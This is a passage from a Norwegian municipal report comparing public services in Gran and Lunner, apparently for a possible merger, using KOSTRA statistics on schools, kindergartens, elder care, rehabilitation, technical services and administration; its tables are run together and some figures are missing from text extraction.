innbyggertall 0,08 110,2 97,4 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Kultur (KU) 0,05 59,8 90,0 62,7 58,3 91,8 Bokbestand ved bibliotekene per innbygger 0,25 131,7 91,0 Utl\u00e5n av b\u00f8ker per innbygger 0,25 105,5 124,8 Antall kinoforestillinger per innbygger 0,05-26,9 Bes\u00f8k kino per innbygger 0,05-29,5 St\u00f8tte til aktivitetstilbud til barn og unger per innbygger 6-18 \u00e5r 0,39-83,0 Figur 2 Produksjonsindeksen 2013 Produksjonsindeksen er publisert i \"Rapport fra Det tekniske beregningsutvalg for kommunal og fylkeskommunal \u00f8konomi\" for november For ytterligere informasjon, se f\u00f8lgende: https://www.regjeringen.no/globalassets/ upload/kmd/komm/ rapporter/tbu - rapport\\_nov\\_2014.pdf Sammen med produksjonsindeksen, opplyses ogs\u00e5 korrigert inntekt per innbygger for kommunene. Her er kostnadsn\u00f8klene i inntektssystemet benyttet for \u00e5 korrigere for forskjeller i beregnet utgiftsbehov som f\u00f8lge av demografisk og geografisk struktur. Det er en klar sammenheng mellom produksjonsindeksen og \u00f8konomiske rammebetingelser. Kommuner med h\u00f8y korrigert inntekt har h\u00f8yere verdi p\u00e5 produksjonsindeksen enn kommuner med lav korrigert inntekt; \u00abrikere\u00bb kommuner har h\u00f8yere produksjonsindeks enn \u00abfattigere\u00bb kommuner. 7\n\n\n\n8 Samlet sett kan en se at Gran og Lunner er ganske like p\u00e5 de ulike omr\u00e5dene. Gran har noe h\u00f8yere lege-, fysioterapeut- og sykehjemsdekning enn Lunner, og det kommenteres ytterligere i den videre dr\u00f8ftingen av tjenesteytingen i kommunene. Det omr\u00e5det som har st\u00f8rst avvik mellom kommunene er kultur noe som gjenspeiler politisk prioritet p\u00e5 dette omr\u00e5det. N\u00e5r det gjelder sammenligning for \u00f8vrig kommer Gran og Lunner d\u00e5rlig ut p\u00e5 NAV/sosialtjenester b\u00e5de i sammenligning med nabokommuner og landet for \u00f8vrig. 3.3 Kommunale tjenester i Gran og Lunner I det f\u00f8lgende beskrives noen av tjenesteomr\u00e5dene gjennom utvalgte KOSTRA-tall for \u00e5 synliggj\u00f8re likheter og forskjeller mellom kommunene. Videre beskrives kapasitet, kompetanse og s\u00e5rbarhet for de samme omr\u00e5dene, for \u00e5 synliggj\u00f8re sterke og svake sider. Kapasitet og kompetanse har ekspertutvalget trukket frem som to av kriteriene som b\u00f8r belyses i utredningsarbeid rundt ny kommunestruktur. Med kapasitet menes tilgjengelig ressurser i form av ansatte og utstyr. KOSTRA-tallene er fra I tabellene sammenliknes det med KOSTRA-gruppe 13, som er den kommunegruppen den nye kommunen eventuelt vil tilh\u00f8re. Grunnskole Prioritering Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Netto driftsutgifter grunnskolesektor (202, 215, 222, 223) i prosent av samlede netto driftsutgifter 24,7 26,4 24,1 23,8 24,2 Netto driftsutgifter til grunnskole (202), i prosent av samlede netto driftsutgifter 19, , ,4 Netto driftsutgifter til grunnskolesektor (202, 215, 222, 223), per innbygger 6-15 \u00e5r Netto driftsutgifter til grunnskole (202), per innbygger 6-15 \u00e5r Netto driftsutgifter til skoleskyss (223), per innbygger 6-15 \u00e5r Dekningsgrader Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Gjennomsnittlig gruppest\u00f8rrelse, \u00e5rstrinn 13,6 14,5 14,5 12,5 13,5 Gjennomsnittlig gruppest\u00f8rrelse, 1.-4.\u00e5rstrinn 13 15,4 14,3 11,9 13,3 Gjennomsnittlig gruppest\u00f8rrelse, 5.-7.\u00e5rstrinn 12,2 15, ,9 Gjennomsnittlig gruppest\u00f8rrelse, \u00e5rstrinn 15,7 12,9 15,1 13,5 14,3 Andel elever med direkte overgang fra grunnskole til videreg\u00e5ende oppl\u00e6ring 97,6 98,3 97,9 98,9 98 Gjennomsnittlige grunnskolepoeng 40,1 39,4.. 39,6 40 Andel timer spesialundervisning av antall l\u00e6rertimer totalt 14,6 20,2 17,5 17,4 17,8 Andel elever i grunnskolen som f\u00e5r tilbud om skoleskyss 46,7 46,3 14,1 40,7 23,5 Andel l\u00e6rere med universitets-/h\u00f8gskoleutdanning og pedagogisk utdanning 84,6 84,1 87,8 85,7 87,1 Andel l\u00e6rere med universitets-/h\u00f8gskoleutdanning uten pedagogisk utdanning 7,2 9,1 6,4 6,8 6,3 Andel l\u00e6rere med videreg\u00e5ende utdanning eller lavere 8,2 6,8 5,7 7,5 6,6 Produktivitet Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Korrigerte brutto driftsutgifter til grunnskolesektor (202, 215, 222, 223), per elev Korrigerte brutto driftsutgifter til grunnskole (202), per elev Driftsutgifter til undervisningsmateriell (202), per elev i grunnskolen Driftsutgifter til inventar og utstyr (202), per elev i grunnskolen Korrigerte brutto driftsutgifter til skolefritidstilbud (215), per komm. bruker Korrigerte brutto driftsutgifter til skolelokaler (222), per elev Korrigerte brutto driftsutgifter til skoleskyss (223), per elev som f\u00e5r skoleskyss Kapasitet grunnskole Den bygningsmessige kapasiteten i skolebyggene er noe ulik i de to kommunene. I Lunner kommune er det ved Harestua skole utfordringer knyttet til det forventede framtidige elevtallet. De tre andre skolene i kommunen har noe kapasitet. I Gran er det kapasitet til \u00e5 ha vesentlig flere elever enn i dag ved de fleste barneskolene. Trintom skole vil ved \u00f8kt tilflytting til skolekretsen ha behov for utbygging. Ungdomsskolene i Gran og Brandbu har kapasitet til 10 klasser. Med n\u00e5v\u00e6rende elevtall er det normalt 9 klasser. Ved en \u00f8kning i elevtall totalt i kommunen vil det v\u00e6re behov for \u00e5 se p\u00e5 kapasiteten p\u00e5 ungdomstrinnet. Ny barneskole i Brandbu vil ha god kapasitet ut over de elevene som g\u00e5r p\u00e5 de tre skolene som sl\u00e5s sammen. Kompetanse grunnskole Nye lovkrav til faglig fordypning i basisfag (norsk, matematikk og engelsk) gj\u00f8r utfordringen med \u00e5 skaffe rett kompetanse st\u00f8rre, spesielt p\u00e5 ungdomstrinnet. Det er en rekke s\u00f8kere som har smale 8\n\n\n\n9 fagkretser eller utdanning som fagl\u00e6rer (kunst & h\u00e5ndverk, musikk, kropps\u00f8ving, mat & helse), som gj\u00f8r det vanskeligere \u00e5 utnytte dette fullt ut, spesielt ved de minste skolene. Det er ogs\u00e5 utfordrende \u00e5 rekruttere til fag med f\u00e5 undervisningstimer, eksempelvis tysk, fransk, spansk. Alderssammensetningen i de to kommunene er relativt lik, hvor ca. 15 % av l\u00e6rerne er over 60 \u00e5r. Det er noe usikkerhet i muligheten for \u00e5 tiltrekke seg nok og riktig kompetanse. Slik det er i dag konkurrerer kommunene om den samme kompetansen og de samme s\u00f8kerne. Ved en etablering av en ny kommune vil kompetansen kunne utnyttes til beste for alle innbyggerne. Kommunene har et utstrakt samarbeid om kompetanseheving og skoleutvikling. Samlet sett anses den skolefaglige kompetansen som god. I Gran er det likevel en utfordring \u00e5 ha god nok kompetanse p\u00e5 alle fagomr\u00e5der p\u00e5 de minste skolene. Kommunene har sv\u00e6rt ulik skolestruktur. S\u00e5rbarhet grunnskole S\u00e5rbarhet i skole i Gran handler i stor grad om kapasitet til ledelse, uavhengig av st\u00f8rrelse og kompleksitet. Det er som nevnt ogs\u00e5 en utfordring \u00e5 ha tilstrekkelig kompetanse p\u00e5 alle skoler i begge kommuner. Barnehage Prioritering Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Netto driftsutgifter barnehagesektoren i prosent av kommunens totale netto driftsutgifter 10,8 13,7 15,5 11,2 14,3 Netto driftsutgifter per innbygger 1-5 \u00e5r i kroner, barnehager Utgifter til kommunale lokaler og skyss per barn i kommunal barnehage (kr) Dekningsgrader Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Andel barn 1-5 \u00e5r med barnehageplass 90,1 91, ,2 90,8 Andel barn i barnehage med oppholdstid 33 timer eller mer per uke 87,1 94,4 97, ,4 Andel barn i barnehage med oppholdstid 32 timer eller mindre per uke 12,9 5,6 2,3 11 4,6 Andel minoritetsspr\u00e5klige barn i barnehage i forhold til alle barn med barnehageplass 8,2 6,7 12,9 9,4 11,2 Andel barn i kommunale barnehager i forhold til alle barn i barnehage 45,4 72,1 42,2 61,7 50,4 Andel barn, ekskl. minoritetsspr\u00e5klige, som f\u00e5r ekstra ressurser, i forhold til alle barn i komm. barnehager 15,2 1,4 3,9 3,6 3,5 Andel barn som f\u00e5r ekstra ressurser til styrket tilbud til f\u00f8rskolebarn, i forhold til alle barn i barnehage. Kommunale 29,1 barnehager 11, ,8 19,9 Andel ansatte med barnehagel\u00e6rerutdanning 29,9 29,1 34, ,1 Andel ansatte med annen pedagogisk utdanning 4,3 3,6 3,4 4 3,4 Andel styrere og pedagogiske ledere med godkjent barnehagel\u00e6rerutdanning 82,4 81,4 89, ,4 Andel assistenter med barne- og ungdomsarbeiderfag, barnehagel\u00e6rer- eller annen pedagogisk utdanning 35,6 44,7 27,6 38,4 30,2 Leke- og oppholdsareal per barn i barnehage (m2) 5,5 4,6 5,2 5,9 5,6 Produktivitet Gran Lunner Kostragruppe 13 Oppland Landet uten Oslo Korrigerte oppholdstimer per \u00e5rsverk til basisvirksomhet, alle barnehager Korrigerte oppholdstimer per \u00e5rsverk til basisvirksomhet, kommunale barnehager Korrigerte brutto driftsutgifter i kroner per barn i kommunal barnehage Begge kommuner har for kommende barnehage\u00e5r gitt plass til alle med lovfestet rett til barnehageplass. I tillegg har seks barn f\u00f8dt etter i 2014 f\u00e5tt barnehageplass i hver av kommunene. Gran har 20 s\u00f8kere f\u00f8dt til i 2014, som ikke f\u00e5r barnehageplass. I Lunner er det 16 s\u00f8kere som ikke har f\u00e5tt plass. I begge kommuner har de fleste s\u00f8kerne har f\u00e5tt plass i den barnehagen de har s\u00f8kt. Gran kommune har opprettet midlertidige plasser for \u00e5 kunne innfri den lovfestede retten til plass for kommende barnehage\u00e5r. Ny kommunal barnehage p\u00e5 Fagerlund vil gi st\u00f8rre robusthet med hensyn til \u00e5 innfri den lovfestete retten til plass i Gran. Klemmaparken barnehage \u00e5pner august Med \u00f8kt kapasitet p\u00e5 ca. 90 plasser vil denne ivareta behov for \u00f8kningen p\u00e5 Harestua. Grua barnehage (privat) har en mulig kapasitet p\u00e5 70 plasser, samtidig som det ligger ny kommunal barnehage inne i reguleringsplanen for Grua. Ut fra dagens situasjon har Lunner ingen utfordringer n\u00e5r det gjelder behov for barnehageplasser. 9\n\n\n\n10 Kompetanse - barnehage Begge kommuner har barnehagel\u00e6rere p\u00e5 dispensasjon fra utdanningskravet. Antall dispensasjoner har blitt redusert de siste \u00e5rene, og ser ut til \u00e5 bli redusert ytterligere kommende barnehage\u00e5r. Det vil ogs\u00e5 fremover v\u00e6re en utfordring \u00e5 rekruttere tilstrekkelig antall barnehagel\u00e6rere, og kommunene konkurrerer i stor grad om den samme kompetansen. S\u00e5rbarhet - barnehage I Gran er det en s\u00e5rbarhet i tjenesteproduksjonen knyttet til familiebarnehagene i kommunal og privat regi. Uforutsette hendelser som for eksempel endringer i sivilstand, sykdom eller annet, kan f\u00f8re til nedleggelser p\u00e5 kort varsel. Dette er utfordrende for kommunen som er ansvarlig for at alle med rett til plass f\u00e5r dette. En relativt stor andel av sm\u00e5barnsplassene tilbys i familiebarnehagene i Gran. Dersom det i fremtiden kommer en endring i barnehageloven, hvor det gis lovfestet rett til barnehageplass med to opptak i \u00e5ret, vil dette utfordre kapasiteten i begge kommunene. I Lunner har man via barnehageutredningen vist at intensjonen er \u00e5 kunne tilby plasser 1 m\u00e5ned etter fylte ett \u00e5r for de som har s\u00f8kt innen frist for hovedopptak og f\u00f8dt i perioden For barn s\u00f8kt etter fristen er intensjonen \u00e5 kunne tilby plass senest 2 m\u00e5ned etter tilflytting. Tilsvarende gjelder ikke i Gran. Under avsnittet \u00abkompetanse\u00bb er det beskrevet at det er utfordrende \u00e5 rekruttere nok barnehagel\u00e6rere. Fordi pedagognormen beregnes med utgangspunkt i antall barn kan blant annet et h\u00f8yt antall delte plasser f\u00f8re til ytterligere behov for barnehagel\u00e6rere for \u00e5 innfri lovkravet. Stor grad av delte plasser gir s\u00e5rbarhet b\u00e5de i forhold kvalitet og kapasitet i den enkelte barnehage. Gran kommune har fortsatt flere delte plasser (2, 3 og 4 dagers plasser) enn kommuner det sammenlignes med. I Lunner vil de kommunale barnehagene fra 2016 kun tilby 3-5 dg./u (2 dg/u utg\u00e5r). Helse og omsorg Prioritering Gran Lunner Kostra-gruppe 13 Oppland Landet uten Oslo Netto driftsutgifter pleie og omsorg i prosent av kommunens totale netto driftsutgifter 35,3 29,1 30,1 33,8 30,6 Institusjoner (f ) - andel av netto driftsutgifter til plo Tjenester til hjemmeboende (f254) - andel av netto driftsutgifter til plo Aktivisering, st\u00f8ttetjenester (f234) - andel av netto driftsutgifter til plo Netto driftsutgifter pr. innbygger i kroner, pleie- og omsorgtjenesten Netto driftsutgifter, pleie og omsorg pr. innbygger 80 \u00e5r og over Netto driftsutgifter, pleie og omsorg pr. innbygger 67 \u00e5r og over Plasser i institusjon i prosent av mottakere av pleie- og omsorgstjenester 25,1 17,9 16, Dekningsgrad Gran Lunner Kostra-gruppe 13 Oppland Landet uten Oslo Andel \u00e5rsverk i brukerrettede tjenester m/ fagutdanning Andel \u00e5rsverk i brukerrettede tjenester m/ fagutdanning fra videreg\u00e5ende skole Andel \u00e5rsverk i brukerrettede tjenester m/ fagutdanning fra h\u00f8yskole/universitet Produktivitet Gran Lunner Kostra-gruppe 13 Oppland Landet uten Oslo Korrigerte brutto driftsutgifter pr. mottaker av kommunale pleie og omsorgstjenester Utdypende indikatorer basert p\u00e5 IPLOS (kilde SSB) Gran Lunner Kostra-gruppe 13 Oppland Landet uten Oslo Andel av brukere (%) med noe/avgrenset bistandsbehov 46,1 40,8 42,4 45,7 43,8 Andel av alle brukere som har omfattende bistandsbehov 25,2 23,8 24,1 22,2 23,8 Gjennomsnittlig antall tildelte timer pr uke, praktisk bistand 14,9 12,6 8,6 8,3 8,5 Gjennomsnittlig antall tildelte timer pr uke, hjemmesykepleie 4,3 3,5 4,7 3,9 4,7 Gjennomsnittlig antall tildelte timer i uken. Brukere utenfor institusjon 11,7 10,5 10,2 9,4 10,2 Andel aleneboende mottakere utenfor inst. med b\u00e5de hjemmetj. og st\u00f8ttetj ,6 36,2 42,2 37,7 Kapasitet helse og omsorg Innen pleie- og omsorg er det ulikt antall sykehjemsplasser i Lunner og Gran i forhold til antall eldre over 80 \u00e5r. Gran har h\u00f8yere kapasitet enn Lunner p\u00e5 sykehjemsplasser framfor hjemmetjenester. I begge kommuner er det nylig redusert antall langtidsplasser for blant annet \u00e5 m\u00f8te behovet for \u00f8kning i hjemmetjenesten. Begge kommuner har en forvaltningsenhet som saksbehandler og fatter vedtak etter Lov om helse og omsorgtjenester i kommunene og Lov om Pasient- og brukerrettigheter. Tildelingskontorene skal s\u00f8rge for profesjonell saksbehandling av s\u00f8knader, ivareta s\u00f8kers rettsikkerhet og samtidig s\u00f8rge for en forsvarlig forvaltning av kommunens ressurser. 10\n\n\n\n11 Gran har 196 \u00e5rsverk i eldreomsorgen. Virksomheten er inndelt i to pleie- og omsorgsdistrikt, med hver sin seksjonsleder. Brandbu pleie- og omsorgsdistrikt med Marka helse- og omsorgssenter som base og Gran pleie- og omsorgsdistrikt med Skjervum helse- og omsorgssenter som base. Kommunen har totalt 127 sykehjemsplasser. I tillegg kj\u00f8per Gran 22 plasser p\u00e5 Granh\u00f8i alderspensjonat (reduseres til 18 i l\u00f8pet av 2015), 4 plasser p\u00e5 R\u00f8ysumtunet og 3 plasser utenfor kommunen. Hjemmetjenesten er delt inn i tre avdelinger, Brandbu, Gran og Bjoneroa. Det har i 2014 blitt utl\u00f8st ca. 313 overtidsd\u00f8gn i sykehus. Lunner har 91 \u00e5rsverk i eldreomsorgen. Tjenesten er organisert ved Lunner omsorgssenter med tilh\u00f8rende avdeling for hjemmetjenester. Kommunen har fra totalt 50 sykehjemsplasser. Det har v\u00e6rt 4-8 pasienter i overbelegg gjennom 2014, og kommunen kj\u00f8per 1 ekstern plass. Det har ikke blitt utl\u00f8st overtidsd\u00f8gn p\u00e5 sykehus. Omsorgskjeden m\u00e5 ses p\u00e5 som en helhet. Blant annet vil behovet for innleggelse i sykehjem p\u00e5virkes av i hvor stor grad kommunen klarer \u00e5 ivareta pasientens behov gjennom \u00e5 tilby tjenester i hjemmet. Antall sykehjemsplasser er bygd ned til fordel for en styrking av hjemmebaserte tjenester, samt behovet for \u00e5 redusere kommunenes totale kostnadsniv\u00e5. Begge kommuner jobber i dag med \u00e5 styrke evnen og muligheten til \u00e5 m\u00f8te fremtidige helse- og omsorgsbehov i befolkningen med \u00f8kt grad av tjenester i hjemmet. Det innbefatter ogs\u00e5 utbygging av ulike typer omsorgsboliger for eldre, som er tilrettelagt for \u00e5 forebygge eller utsette behov innleggelse i institusjon. P\u00e5 denne m\u00e5ten sikres institusjonsplassene prioritert til de som trenger det aller mest. Tilrettelagte tjenester i Gran best\u00e5r av 122 \u00e5rsverk. Tjenesten er organisert gjennom 12 enheter fordelt p\u00e5 et dagsenter, barneavlastning, og held\u00f8gns omsorgsboliger. Tilrettelagte tjenester i Lunner best\u00e5r av 76 \u00e5rsverk. Virksomheten er organisert gjennom 9 enheter, fordelt p\u00e5 2 dagtilbud, psykiatri-, barneboliger-avlastnings- og omsorgsboliger. Gran har 13 fastleger og Lunner har 8 fastleger. Begge kommuner har turnuskandidat. Interkommunal legevakt har 2,7 stillinger for sykepleiere i tillegg til lege p\u00e5 vaktordning. I begge kommunene deltar legene i kommunens legetjenester (sykehjemslege, helsestasjon, legevakt). Kompetanse helse og omsorg Begge kommuner har en andel \u00e5rsverk med fagutdanning i pleie- og omsorgstjenestene p\u00e5 ca. 70 %. Av disse har Lunner en h\u00f8yere andel \u00e5rsverk med h\u00f8yskoleutdanning (33 %) enn Gran (27 %). For begge kommuner er andelen uten formell kompetanse h\u00f8yere enn sammenlignbare kommuner. Det er behov for \u00e5 \u00f8ke andelen med fagutdanning, samtidig som det er vanskelig \u00e5 rekruttere sykepleiere til deler av tjenesteomr\u00e5dene. S\u00e5rbarhet helse og omsorg S\u00e5rbarheten i helse og omsorg knyttes i stor grad til kompetanse. Bemanningsplaner med en planlagt fordeling av fagkompetanse gjennom d\u00f8gnet og uka er ikke alltid mulig \u00e5 oppfylle. Blant annet er fagdekningen spesielt p\u00e5 helgene ofte lavere enn bemanningsplaner tilsier. Dette skyldes vanskeligheter med \u00e5 rekruttere fagpersoner til sm\u00e5 helge-stillinger, i tillegg til et h\u00f8yt sykefrav\u00e6r. Et legemeldt frav\u00e6r totalt i helse og omsorg i 2013 p\u00e5 ca. 9 % i begge kommuner tilsier tidvis mangel p\u00e5 kompetanse og personalressurser i tjenesten. Overtidsd\u00f8gn p\u00e5 sykehus og overbelegg p\u00e5 sykehjem er begge et uttrykk for en kapasitetsutfordring. Mangel p\u00e5 omsorgsboliger kombinert med redusert antall institusjonsplasser gir en \u00f8kt s\u00e5rbarhet i tjenesten. Begge kommunene prioriterer n\u00e5 etablering av omsorgsboliger, slik at hjemmetjenesten kan utvikles for \u00e5 sikre god fremtidig tjenesteyting. Uforutsigbarheten n\u00e5r det gjelder pleie og omsorgsbehovet i befolkningen er en annen s\u00e5rbarhet. Behov endrer seg raskt. Det gj\u00f8r det krevende \u00e5 planlegge, og \u00e5 forutsi hva som er riktig dimensjonering av de ulike tjenestetilbudene. 11\n\n\n\n12 Rehabilitering Kapasitet - rehabilitering Samhandlingsreformen beskriver en ny rolle for kommunene med blant annet \u00f8kt ansvar for rehabilitering og habilitering. Samtidig endrer befolkningssammensetningen seg. Antall eldre \u00f8ker, og med dette behovet for re-/habilitering. Tjenestene m\u00e5 tilpasse seg disse endringene. I Gran og Lunner er det i dag ingen enhet som har en rehabiliteringsavdeling ut fra f\u00f8ringene i samhandlingsreformen. Kommunene har til n\u00e5 m\u00f8tt \u00f8kte behov innen rehabilitering med en dreining mot mer hjemmebasert omsorg, rehabilitering i hjemmet og hverdagsrehabilitering. Begge kommuner har opprettet tverrfaglige innsatsteam som har bidratt til viktig og vesentlig styrking innen rehabilitering i hjemmet. I Gran har ergo- og fysioterapiavdelingen 11,8 stillinger/ \u00e5rsverk (inklusive innsatsteamet, frisklivsveileder i frisklivssentralen og vaktmestre hjelpemidler). Kommunen har i tillegg driftsavtale med private fysioterapeuter i til sammen 8,9 hjemler. I Lunner er det 1,2 fysioterapeut og 2 ergoterapeuter. Den kommunale fysioterapeuten jobber ogs\u00e5 i kommunens innsatsteam. Lunner kommune har driftsavtaler med private fysioterapeuter i 7,5 hjemler. Kompetanse - rehabilitering Alle ergo- og fysioterapeutstillinger i begge kommuner er besatt av fagpersoner, flere med relevante videreutdanninger. Det er ingen spesielle utfordringer knyttet til rekruttering innen disse utdanningsgruppene, ved utlysninger er det stor s\u00f8kning av personer med rett kompetanse. Begge kommunene jobber med strukturert kompetanseheving i hverdagsrehabilitering i hjemmetjenesten. Lunner har fagarbeidere i hjemmetjenesten og innsatsteam med videreutdanning i rehabilitering. Gran har medarbeidere i innsatsteamet som g\u00e5r videreutdanning i hverdagsrehabilitering. S\u00e5rbarhet -rehabilitering S\u00e5rbarheten innen rehabilitering er knyttet til kapasitet til \u00e5 m\u00f8te fremtidens krav og forventninger til hva kommunene skal h\u00e5ndtere. Dreiningen mot hjemmebasert omsorg, der pasienter kommer raskere fra sykehus, utfordrer kommunene p\u00e5 tilstrekkelig tverrfaglig kompetanse og kapasitet for \u00e5 m\u00f8te dette behovet. Ergo- og fysioterapikompetanse og -ressurser blir sv\u00e6rt viktig for god m\u00e5loppn\u00e5else innen rehabilitering i kommunen. Tekniske tjenester Tekniske tjenester omfatter selvkostomr\u00e5det for vei, vann og avl\u00f8p, brann og redning, eiendomsforvaltning inkludert renhold og vaktmestertjenester. Her er det vist tall for eiendomsforvaltning. Gebyrer p\u00e5 vann, avl\u00f8p, feiing og eiendomsskatt er omtalt i utredning \u00ab\u00d8konomi og demografi\u00bb. Nedenfor f\u00f8lger et oppsett som sammenligner ulike forhold knyttet til eiendomsforvaltning i kommunene. Dette er basert p\u00e5 KOSTRA, og niv\u00e5et sammenlignet med KOSTRA-gruppe 13 (mulig gruppe for ny kommune) viser at Lunner ligger h\u00f8yere enn gruppen for \u00f8vrig p\u00e5 de fleste omr\u00e5der. Gran har en st\u00f8rre variasjon, men begge kommunene har et vesentlig avvik i forhold til vedlikehold pr kvadratmeter sammenlignet med gruppe\n\n\n\n13 Figur 3 Kostnader Eiendomsforvaltning Kapasitet - teknisk Begge kommunene har behov for utvidelse og vedlikehold av teknisk infrastruktur. Spesielt gjelder dette den kommunale bygningsmassensom m\u00e5 ivareta \u00f8kt antall brukere av kommunale tjenester. N\u00e5r det gjelder det interkommunale vannverket er dagens kapasitet ikke tilstrekkeli g, og det vil v\u00e6re behov for \u00e5 utvide kapasiteten p\u00e5 vann ved en befolkningsvekst som skissert i begge kommunene. Dagensvann og avl\u00f8psl\u00f8sninger krever \u00e5 gjennomf\u00f8re de tiltak som allerede er planlagt (lekkasjetetting, renseprosesserog h\u00f8ydebassenger)for \u00e5 sikre kapasitetsbehovet fremover. P\u00e5 avl\u00f8pssiden har renseanlegget p\u00e5 Volla tilstrekkelig kapasitet til \u00e5 h\u00e5ndtere planlagt vekst nord i kommunen. Renseanlegget p\u00e5 Harestua har ogs\u00e5 tilstrekkelig kapasitet til \u00e5 h\u00e5ndtere den planlagte veksten p\u00e5 Harestua og Grua. Kommunale veier har stort etterslep p\u00e5 vedlikehold. Kommunene opplever \u00e5 ha begrenset kapasitet p\u00e5 vaktmestere og renholdere. Etablerte renholdsog vedlikeholdsplaner er viktig for \u00e5 sikre kvalitetsmessig frekvens og for \u00e5 styre brukernes forventinger. Dette for \u00e5 sikre forutsigbarhet ovenfor interne brukere i forhold til tjenestene nevnte gruppe yter. Kompetanse - teknisk Begge kommunene mener at dagens niv\u00e5 p\u00e5 kompetanse innenfor tjenesteomr\u00e5dene er tilfredsstillende. Dog kan en vridnin g av kompetanse, slik at kommunene selv kan utf\u00f8re enkelte fag, v\u00e6re effektivt b\u00e5de for \u00f8konomi og for smidighet i tjenestene. Slik kompetanse kan v\u00e6re r\u00f8rlegger - og elektrikerkompetanse. Lunner kommune har et eget h\u00e5ndverkerlag, som utf\u00f8rer enklere intern e prosjekter. Dette sikrer lavere pris og mer effektiv intern tjenesteyting. S\u00e5rbarhet - teknisk S\u00e5rbarhet innen for dette tjenesteomr\u00e5det er knyttet til ressurser og \u00f8konomiske r ammer for drift og vedlikehold, slik som nevnt over i forhold til vann- og avl\u00f8psl\u00f8sninger. N\u00e5r det gjelder ressurser er det en rekke omr\u00e5der kommunen i dag m\u00e5 kj\u00f8pe tjenester. Det er grunn til \u00e5 anta at en ny kommune vil kunne gi mulighet for \u00e5 yte disse tjenestene selv, slik som elektriker, r\u00f8rlegger, byggherrefunksjon m.m. I t illegg er kommunene s\u00e5rbare, p\u00e5 lik linje med de fleste andre kommuner, n\u00e5r det gjelder drifts - og vedlikeholdskostnader, da det ikke er avsatt / prioritert tilstrekkelig midler til dette for eksisterende bygningsmasse. 13\n\nfor \u00e5 sikre kapasitetsbehovet fremover.\")\n\n15 Administrasjon, styring og fellesutgifter N\u00f8kkeltall for administrasjon og styring \\* Gran Lunner Kostragruppe Oppland 13 Landet uten Oslo Brutto driftsutgifter til administrasjon og styring i kr. pr. innb Netto driftsutgifter til administrasjon og styring i kr. pr. innb L\u00f8nnsutgifter til administrasjon og styring i kr. pr. innb Brutto driftsutgifter for administrasjon, styring og fellesutgifter Brutto driftsutgifter til funksjon 110, Kontroll og revisjon, i kr. pr. innb Brutto driftsutgifter til funksjon 120 Administrasjon, i kr. pr. innb Brutto driftsutgifter til funksjon 121, Forvaltningsutgifter i eiendomsforvaltningen, i kr. pr. innb Brutto driftsutgifter til funksjon 130 Administrasjonslokaler, i kr. pr. innb Figur 4 N\u00f8kkeltall for Administrasjon - \\*i forklaringen p\u00e5 SSBs sider at funksjon 100, 110, 120, 121 og 130 er med Kapasitet administrasjon, styring og fellesutgifter Administrativt er kommunene organisert relativt likt. Det er etablert sentral stab-/st\u00f8ttefunksjon, som innehar ordin\u00e6re felles funksjoner, slik som \u00f8konomi/regnskap, personal, IKT med videre. Kapasiteten i begge kommuner anses for tilfredsstillende. Skatteoppkreving er et interkommunalt samarbeid mellom Gran, Jevnaker og Lunner, hvor Lunner er vertskommune. Forslaget fra regjeringen om statliggj\u00f8ring av skatteoppkreverfunksjon har f\u00f8rt til usikkerhet om fremtidig arbeidsplasser for de ansatte. Oppl\u00e6ringskontoret er et interkommunalt samarbeid mellom Jevnaker og Lunner, hvor Lunner er vertskommune. Oppl\u00e6ringskontoret har ansvar for 34 l\u00e6rlinger. Gran kommune organiserer l\u00e6rlingeordningen selv og har for tiden 20 l\u00e6rlinger. Innkj\u00f8psfunksjonen er ogs\u00e5 organisert som et interkommunalt samarbeid mellom Gran, Jevnaker og Lunner, hvor Gran er vertskommune. Her er det stor grad av samarbeid og spesielt etter at e-handel ble etablert som funksjon. Kompetanse administrasjon, styring og fellesutgifter Begge kommunene fremst\u00e5r med bred og god kompetanse innenfor de administrative funksjonene. Tjenestene er preget av relativt lav turnover. S\u00e5rbarhet administrasjon, styring og fellesutgifter Skatt st\u00e5r ovenfor store endringer i forbindelse med statliggj\u00f8ring. Konklusjonen her er ventet i mai For de andre omr\u00e5dene er det spesielt innkj\u00f8psfunksjonen som er kritisk i forhold til tjenesteyting og kommunenes profesjonalitet. Det er krevende \u00e5 bygge tilstrekkelig kapasitet og kompetanse for \u00e5 dekke alle behovene for avtaler og innkj\u00f8p i henhold til gjeldende regelverk. Driftsmilj\u00f8ene og tilgang p\u00e5 kompetanse innenfor IKT representerer ogs\u00e5 en s\u00e5rbarhet, s\u00e6rlig siden dette er kritisk viktig omr\u00e5de for fremtidens tjenesteyting. 3.4 Sterke og svake sider ved kommunen som tjenesteyter - oppsummering Nedenfor er styrker og svakheter ved tjenesteytingen i dagens kommuner oppsummert i forhold til Ekspertutvalget kriterier til kommunes rolle som tjenesteyter. Tilstrekkelig kapasitet (med kapasitet menes tilgjengelig ressurser i form av ansatte og utstyr) Styrker Generelt vurderes det slik at begge kommuner i det store og hele har tilstrekkelig kapasitet til \u00e5 drifte de tjenestene vi har i dag. Det er for begge kommunen i dag en klar sammenheng mellom tilstrekkelig kapasitet og behov. Dette er avstemt for \u00e5 gi best mulig \u00f8konomisk styring. Det er en tydelig sammenheng mellom prioritering av ressurser innenfor de store omr\u00e5dene og tjenesten som Svakheter Begge kommuner er lav-inntektskommuner, og kapasiteten innenfor tjenesteomr\u00e5dene kan v\u00e6re truet av et konstant krav om p\u00e5 kostnadsreduksjoner. De sm\u00e5 tjenestene/ fagomr\u00e5dene er s\u00e5rbare, b\u00e5de i forhold kapasitet og kompleksitet. De interkommunale samarbeidene har kapasitet til \u00e5 l\u00f8se dagens portef\u00f8lje gitt den kjennskap og bestilling som 15\n\n\n\n16 ytes. Som eksempler kan nevnes kapasitet p\u00e5 sykehjem, hvor det er en tydelig sammenheng mellom antall plasser og overbelegg p\u00e5 sykehjemmet/overliggere p\u00e5 sykehuset. Eller kapasitet i barnehagene, hvor det er bygget kapasitet i forhold til antall s\u00f8kere, og driftes i liten grad med ledig kapasitet. Alle som har lovfestet rett til barnehageplass f\u00e5r plass, men behovet er st\u00f8rre enn dette. Det er et stort potensiale i \u00e5 utnytte kapasitet p\u00e5 tvers mellom fagmilj\u00f8er. De st\u00f8rste tjenesteomr\u00e5dene har gode muligheter til \u00e5 rekruttere b\u00e5de bredde- og 